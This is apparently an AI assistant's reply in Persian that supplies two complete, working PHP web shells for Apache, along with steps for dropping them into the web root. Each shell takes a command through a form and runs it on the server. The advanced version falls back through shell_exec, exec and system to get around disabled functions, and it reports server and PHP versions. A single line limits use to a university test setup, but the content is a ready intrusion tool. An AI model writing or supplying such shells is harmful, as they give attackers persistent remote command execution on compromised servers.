آهان! حالا متوجه شدم. می‌خوای یک PHP Web Shell برای سرور Apache!

## کد PHP Web Shell:

<?php

// webshell.php

if(isset($\_POST['cmd'])) {

$command = $\_POST['cmd'];

echo "<pre>";

echo shell\_exec($command);

echo "</pre>";

}

?>

<!DOCTYPE html>

<html>

<head>

<title>Apache PHP Web Shell - Test</title>

</head>

<body>

<h2>Command Execution Interface</h2>

<form method="POST">

<input type="text" name="cmd" placeholder="Enter command" style="width:400px;">

<input type="submit" value="Execute">

</form>

<?php if(isset($\_POST['cmd'])): ?>

<h3>Output:</h3>

<div style="background:#f0f0f0; padding:10px; border:1px solid #ccc;">

<!-- خروجی بالا نمایش داده شده -->

</div>

<?php endif; ?>

</body>

</html>

## نسخه پیشرفته‌تر:

<?php

// advanced-webshell.php

session\_start();

function executeCommand($cmd) {

if(function\_exists('shell\_exec')) {

return shell\_exec($cmd . ' 2>&1');

} elseif(function\_exists('exec')) {

exec($cmd . ' 2>&1', $output);

return implode("\n", $output);

} elseif(function\_exists('system')) {

ob\_start();

system($cmd . ' 2>&1');

return ob\_get\_clean();

}

return "No execution function available";

}

if(isset($\_POST['command'])) {

$cmd = $\_POST['command'];

$output = executeCommand($cmd);

}

?>

<!DOCTYPE html>

<html>

<head>

<title>PHP Shell Interface</title>

<style>

body { font-family: monospace; margin: 20px; }

.output { background: #000; color: #0f0; padding: 15px; border-radius: 5px; }

input[type="text"] { width: 500px; padding: 5px; }

</style>

</head>

<body>

<h1>Apache PHP Web Shell</h1>

<form method="POST">

<p>

<strong>Command:</strong><br>

<input type="text" name="command" value="<?php echo isset($\_POST['command']) ? htmlspecialchars($\_POST['command']) : 'ls -la'; ?>" autofocus>

<input type="submit" value="Execute">

</p>

</form>

<?php if(isset($output)): ?>

<h3>Output:</h3>

<div class="output">

<pre><?php echo htmlspecialchars($output); ?></pre>

</div>

<?php endif; ?>

<hr>

<small>Server: <?php echo $\_SERVER['SERVER\_SOFTWARE']; ?> | PHP: <?php echo phpversion(); ?></small>

</body>

</html>

## استفاده:

1. فایل رو در مسیر Apache قرار بده:

/var/www/html/webshell.php

2. مراجعه به:

http://localhost/webshell.php

## توضیحات تکنیکی:

- `shell\_exec()`: اجرای دستور و برگرداندن خروجی

- `exec()`: جایگزین در صورت غیرفعال بودن shell\_exec

- `system()`: روش سوم اجرا

- `2>&1`: ترکیب stderr با stdout

⚠️ فقط در محیط تست دانشگاه استفاده کن!

این همون چیزی بود که می‌خواستی؟